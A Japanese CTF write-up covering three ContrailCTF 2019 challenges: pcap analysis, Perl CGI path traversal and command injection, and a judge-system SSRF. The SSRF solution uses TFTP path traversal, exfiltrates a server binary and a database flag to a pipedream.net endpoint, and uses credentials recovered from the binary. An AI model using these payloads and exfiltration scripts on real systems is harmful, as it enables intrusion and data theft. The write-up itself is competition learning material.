ContrailCTF 2019 writeup
ContrailCTF 2019 にチーム ./Vespiary として参加しました。結果は 1542 points で 9 位でした。
以下は自分が解いた問題のwriteupです。3問解いて内訳はnetwork*1, web*2 です。
[network] debug_port (100pt)
問題概要
.pcapngファイルが与えられるので、通信内容を解析してフラグを取得する問題です。
解法
wiresharkで開く前にとりあえずstringsにかけます。
$ strings network_debug_port.pcapng # -- snip -- dWRTE/ x86_64:/sdcard $ sh f1ag.sh %OKAYL VWRTEL OKAY/ WRTE/ OKAYL WRTE/ ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= OKAYL WRTE/ x86_64:/sdcard $ OKAYL # -- snip --
flagっぽいbase64が見えるのでデコードします。
$ echo ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= | base64 -d echo 'congratulations!' echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"'
フラグが降ってきました。
フラグ
ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}
[web] LegacyBlog (100pt)
問題概要
レガシーなブログサービスからフラグを取得する問題です。
解法
にアクセスすると viewer.pl
の中身が見れるので、サーバ側の処理がわかります。言語はperlです。
folder
のクエリパラメータで、指定フォルダ内のファイル一覧が見れるので適当に path traversal をします。
location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?folder=" + encodeURIComponent("../../..")
.dockerenv bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
flag
があったので中身を見ます。
location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?folder=" + encodeURIComponent("../../..") + "&text=flag"
見れない...。読み込み権限がなさそうです。
色々と調べてみたら、perlの open
関数には「open("command |")
はcommand
を実行する」という仕様があるみたいです。
つまり、open
関数のところでOS command injectionができそうなのでやってみます。
location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?text=" + encodeURIComponent("|| ls -l ../../../flag |")
---x--x--x 1 root root 8296 Dec 28 14:42 ../../../flag
flag
は実行ファイルであることがわかりました。実行してみます。
location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?text=" + encodeURIComponent("|| ../../../flag |")
ctrctf{Th1s_1s_01d_cg1_exp101t}
フラグGET。
フラグ
ctrctf{Th1s_1s_01d_cg1_exp101t}
[web] NoWallForUs (436pt)
問題概要
競技プログラミングのサービスとそのソースコードが与えられます。
フラグがデータベース内に格納されているので、脆弱性を突いてそれを取得する問題です。
解法概略
- サービスの構成を把握する。
- なにがどのアドレスをListenしているのかなどに注意する。
172.17.0.1:4444
からTFTPでバイナリファイルを取得する。- path traversalする。
- ファイル容量が大きいのでそこは工夫する。
- 取得したバイナリからstringsでmysqlのパスワードを取得する。
- mysqlに接続してフラグを奪取する。
解法詳細
自分の解法は大きく4つのフェイズがあります。
1. サーバ側の構成を把握する
構成が少し複雑なので、まずは、サービス間がどのように連携して攻撃者がなにをできるのかを把握する必要があります。
主なサービスは
nowall-php
: フロントからのrequestを受けてresponseを返す。nowall-back
api
:nowall-php
に各apiを提供する。job-owner
: ジャッジのジョブキューを管理する。tftp-server
: 他サービスへファイルを転送する。
nowall-judge
: ジャッジのジョブを管理する。
です。ユーザがソースコードを提出してジャッジが実行されるまでの流れは次のとおりです。
- ユーザがソースコードを提出する。
api
経由でソースコードがファイルシステム内に格納される。nowall-judge
は、job-owner
からジャッジのジョブが発行される。nowall-judge
は、そのジョブに対応したソースコードをtftp-server
から転送してもらう。nowall-judge
は、Dockerコンテナを起動してそこにソースコードやテストケースなどを転送する。- Dockerコンテナ内でソースコードをコンパイル&実行する。
- 実行結果を
nowall-judge
に返す。
各サービスのアドレスは
nowall-php
のアドレスnowall-back
とnowall-judge
のアドレスnowall-judge
内で動く各コンテナのアドレス
の3種類があります(正確にはコンテナごとにアドレスが異なるので2種類とその他多数)。ユーザが直接アクセスできるのはnowall-php
のアドレスのみです。
SQL injectionや認証周りで攻撃はできそうにないので、提出したソースコードがコンテナ内で実行されるときにうまくSSRFする問題だと思われます。
2. サーバ内のファイルを入手する
コンテナ内から見えるホストのアドレスは executeUsercode.go
に書いてあり
172.17.0.1
です。また、コンテナ内からアクセスできるサービスのポートをフォルダ内検索をするなどして調べると、
3344
:nowall-judge
がジャッジ結果を受信するためのポート8888
:nowall-judge
がジョブを受信するためのポート4444
: 転送してほしいファイルの名前をtftp-server
が受信するためのポート3306
: mysqlのポート
があります。TFTP (udp) によって172.17.0.1:4444
からサーバ内のファイルが取得できそうです。
実行時間の制限内でTFTP用のライブラリをインストールするのは現実的ではないので、↓のサイトを参考にTFTPのclient実装をソースコード内で実装します。
例えば、次のソースコードを提出すると/etc/hosts
の中身を見れます。
import sys import json import time import socket client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.settimeout(1) server_address = ("172.17.0.1", 4444) # https://smitsgit.github.io/blog/html/2018/06/13/tftp.html TERMINATING_DATA_LENGTH = 516 TFTP_OPCODES = { 'unknown': 0, 'read': 1, # RRQ 'write': 2, # WRQ 'data': 3, # DATA 'ack': 4, # ACKNOWLEDGMENT 'error': 5} # ERROR server_error_msg = { 0: "Not defined, see error message (if any).", 1: "File not found.", 2: "Access violation.", 3: "Disk full or allocation exceeded.", 4: "Illegal TFTP operation.", 5: "Unknown transfer ID.", 6: "File already exists.", 7: "No such user." } def send_rq(filename, mode): """ This function constructs the request packet in the format below. Demonstrates how we can construct a packet using bytearray. Type Op # Format without header 2 bytes string 1 byte string 1 byte ----------------------------------------------- RRQ/ | 01/02 | Filename | 0 | Mode | 0 | WRQ ----------------------------------------------- :param filename: :return: """ request = bytearray() # First two bytes opcode - for read request request.append(0) request.append(1) # append the filename you are interested in filename = bytearray(filename.encode('utf-8')) request += filename # append the null terminator request.append(0) # append the mode of transfer form = bytearray(bytes(mode, 'utf-8')) request += form # append the last byte request.append(0) print(f"Request {request}", file=sys.stderr) sent = client.sendto(request, server_address) def send_ack(ack_data, server): """ This function constructs the ack using the bytearray. We dont change the block number cause when server sends data it already has block number in it. 2 bytes 2 bytes ------------------- ACK | 04 | Block # | -------------------- :param ack_data: :param server: :return: """ ack = bytearray(ack_data) ack[0] = 0 ack[1] = TFTP_OPCODES['ack'] print(ack, file=sys.stderr) client.sendto(ack, server) def server_error(data): """ We are checking if the server is reporting an error 2 bytes 2 bytes string 1 byte ---------------------------------------- ERROR | 05 | ErrorCode | ErrMsg | 0 | ---------------------------------------- :param data: :return: """ opcode = data[:2] return int.from_bytes(opcode, byteorder='big') == TFTP_OPCODES['error'] try: mode = "netascii" filename = "/../../../../../../../../../../etc/hosts" send_rq(filename, mode) body = b"" while True: data, server = client.recvfrom(600) if server_error(data): error_code = int.from_bytes(data[2:4], byteorder='big') print(server_error_msg[error_code], file=sys.stderr) break send_ack(data[0:4], server) content = data[4:] body += content if len(data) < TERMINATING_DATA_LENGTH: break print(body.decode("utf-8"), file=sys.stderr) except Exception as e: print("", file=sys.stderr) print("Error:\n{}".format(e), file=sys.stderr) exit(1) print("hello")
filename = "/../../../../../../../../../../etc/hosts"
のところでpath traversalをしています。
3. mysqlのパスワードを取得する
問題の提供ファイルから、mysqlにアクセスするためのユーザ名とデータベース名はともに nowall
であることがわかります。フラグを手に入れるためになんとかしてmysqlのパスワードがほしいです。
本番サーバではソースコードや.sql
ファイルはすべて削除されているので、パスワードが取得できそうなのはDBにアクセスするサービスのバイナリファイルくらいです。
バイナリファイル./fileserver/../api
を取得することを試みます。
ただし、バイナリファイルは容量がでかいのでそのままでは取得できません。gzipで圧縮したものを適当なendpointにpostします。大抵はpostリクエストのbody部にも制限があるので、分割postします。endpointは requestbin.com を利用しました。
import sys import json import socket import urllib.request import gzip def post(url, data): headers = { "Content-Type": "application/json" } req = urllib.request.Request(url, json.dumps(data).encode("utf-8"), headers) with urllib.request.urlopen(req) as res: return res.read() client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.settimeout(1) server_address = ("172.17.0.1", 4444) # https://smitsgit.github.io/blog/html/2018/06/13/tftp.html TERMINATING_DATA_LENGTH = 516 TFTP_OPCODES = { 'unknown': 0, 'read': 1, # RRQ 'write': 2, # WRQ 'data': 3, # DATA 'ack': 4, # ACKNOWLEDGMENT 'error': 5} # ERROR server_error_msg = { 0: "Not defined, see error message (if any).", 1: "File not found.", 2: "Access violation.", 3: "Disk full or allocation exceeded.", 4: "Illegal TFTP operation.", 5: "Unknown transfer ID.", 6: "File already exists.", 7: "No such user." } def send_rq(filename, mode): """ This function constructs the request packet in the format below. Demonstrates how we can construct a packet using bytearray. Type Op # Format without header 2 bytes string 1 byte string 1 byte ----------------------------------------------- RRQ/ | 01/02 | Filename | 0 | Mode | 0 | WRQ ----------------------------------------------- :param filename: :return: """ request = bytearray() # First two bytes opcode - for read request request.append(0) request.append(1) # append the filename you are interested in filename = bytearray(filename.encode('utf-8')) request += filename # append the null terminator request.append(0) # append the mode of transfer form = bytearray(bytes(mode, 'utf-8')) request += form # append the last byte request.append(0) print(f"Request {request}", file=sys.stderr) sent = client.sendto(request, server_address) def send_ack(ack_data, server): """ This function constructs the ack using the bytearray. We dont change the block number cause when server sends data it already has block number in it. 2 bytes 2 bytes ------------------- ACK | 04 | Block # | -------------------- :param ack_data: :param server: :return: """ ack = bytearray(ack_data) ack[0] = 0 ack[1] = TFTP_OPCODES['ack'] print(ack, file=sys.stderr) client.sendto(ack, server) def server_error(data): """ We are checking if the server is reporting an error 2 bytes 2 bytes string 1 byte ---------------------------------------- ERROR | 05 | ErrorCode | ErrMsg | 0 | ---------------------------------------- :param data: :return: """ opcode = data[:2] return int.from_bytes(opcode, byteorder='big') == TFTP_OPCODES['error'] try: mode = "netascii" filename = "/../api" send_rq(filename, mode) body = b"" while True: data, server = client.recvfrom(600) if server_error(data): error_code = int.from_bytes(data[2:4], byteorder='big') print(server_error_msg[error_code], file=sys.stderr) break send_ack(data[0:4], server) content = data[4:] body += content if len(data) < TERMINATING_DATA_LENGTH: break comp = gzip.compress(body).hex() T = 100 s = len(comp) // T first_index = 0 # for i in range(first_index,T+10): l = i*s r = min(len(comp), (i+1)*s) if l >= len(comp): break post("https://endmh94fyl0tr.x.pipedream.net", {"index": i, "body": comp[l:r]}) except Exception as e: print("", file=sys.stderr) print("Error:\n{}".format(e), file=sys.stderr) exit(1) print("hello")
一度のソースコードの提出ではすべて取得できないので、何度かfirst_index
の値を変えつつ提出し直します。
得られた分割したJSONデータを 0.json
, 1.json
, ..., 100.json
として保存して、下のソースコードでバイナリを復元します。
import gzip import json h = "" for i in range(0, 100+1): print(i) filename = "response/{}.json".format(i) with open(filename, mode="r") as f: jf = json.load(f) assert jf["index"] == i h += jf["body"] b = gzip.decompress(bytes.fromhex(h)) with open("api", mode="wb") as f: f.write(b)
バイナリファイルapi
が復元できました。stringsをかけてpasswordを探します。
$ strings api | grep @/nowall %v.WithValue(%#v, %#v).localhost.localdomain/etc/apache/mime.types/etc/ssl/ca-bundle.pem/lib/time/zoneinfo.zip/usr/local/share/certs4656612873077392578125DEBUG_HTTP2_GOROUTINESInscriptional_ParthianMAX_CONCURRENT_STREAMSSIGSTKFLT: stack faultSIGTSTP: keyboard stopUnsupported Media TypeX-Content-Type-Optionsaddress already in useadjustPriority on rootapplication/postscriptargument list too longassembly checks failedbad g->status in readybody closed by handlercannot allocate memorydriver: bad connectionerror decoding messageerror parsing regexp: freeIndex is not validgb18030_unicode_520_cigetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhttp2: frame too largeidna: invalid label %qillegal TIME length %dillegal number base %dinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyjson: unknown field %qmalformed HTTP requestmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressnetwork is unreachablenon-Go function at pc=nowall:jaldsfk@/nowalloldoverflow is not niloperation was canceledpanic during softfloatprotocol not availableprotocol not supportedreflect.Value.MapIndexreflect.Value.SetFloatremote address changedruntime.main not on m0runtime: out of memoryruntime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussend on closed channelspan has no free spacestack not a power of 2timer goroutine (idle)trace: alloc too largeunexpected empty hpackunexpected length codeutf8mb4_unicode_520_ciwrite on closed bufferzero length BIT STRING into Go value of type is not in the Go heap
nowall:jaldsfk@/nowall
の文字列がヒットしたのでパスワードは
jaldsfk
です。
4. mysqlに接続してフラグを奪取する
パスワードがわかったのでDB内のフラグを取りに行きます。
import os import json import urllib.request def post(url, data): headers = { "Content-Type": "application/json" } req = urllib.request.Request(url, json.dumps(data).encode("utf-8"), headers) with urllib.request.urlopen(req) as res: return res.read() os.system("apt install -y mysql-client") # nowall:jaldsfk@/nowall query = "SELECT flag.flag FROM flag;" flag = os.popen("mysql -unowall -pjaldsfk -Dnowall -h172.17.0.1 -e'{}'".format(query)).read() post("https://en2434qxsc1o8.x.pipedream.net", {"flag": flag}) exit(1) print("hello")
フラグ
ctrctf{Y0u_4r3_ult1m4t3_h4ck3r}
感想
追記。感想です。
ContrailCTF 全体に対して
有志コンテストということで、お気軽な問題ばかりなんだろうなと思って参加したのですが、蓋を開けてみればガチ問揃いの本格CTFでした。エスパー要素が少なかったのも良かったです。問題も充実していて、国際CTFとしてやっていても遜色ないレベルでした。それはそれとして、緩い開催だったのでTwitter等で感想が飛び交っていたりと、違った良さもありました。
ContrailCTFの企画・運営・作問をしてくださった皆様、たのしいCTFをありがとうございました。おかげさまで年末年始が嬉しい意味で犠牲となりました。
ところで最近、有志のCTFが開かれがちで良いブームだなあと感じてます。出題側ならではの楽しさもあるだろうし、普段たのしいCTFを企画してもらってるという感謝も含めて、僕もなにか企画したいと思いました。流石に今回のCTFほどのクオリティは無理ですが、研究と就活が落ち着いたら何か動きたいです。
NoWallForUs に対して
この問題は少し複雑なサービス内の脆弱性を突く問題で、ソースコードが事前に与えられているとはいえ、割と現実的なhackだったかなと思います。システム設計の把握から始まるのはつらくもあったけど、だんだんと脆弱な部分が浮き彫りになってきて、たのしかったです。
writeup中では解法の流れが一本道になっていますが、実際は「3344ポートに嘘のジャッジ結果を流してみたり」「/home/akane/.bash_history
を覗いてコマンド履歴を見てみたり」「.git
が実は残っていてそこから辿れるのでは?と画策してみたり」色々と遠回りをしてました。なんやかんやフラグまでたどり着けてよかったです。CTFの問題はまだ数えるくらいしかやってないですが、このレベルのweb問が解けたのは自信になりました。
また問題とは別に、サービスの設計という観点でも学びがありました。競プロのジャッジシステムに必要な「高速にファイルをやり取りする仕組み」や「サンドボックスとして実行環境を隔離する仕組み」をどのように実現するのかの具体的な知見を得ることができました(もちろん脆弱な部分は別ですが)。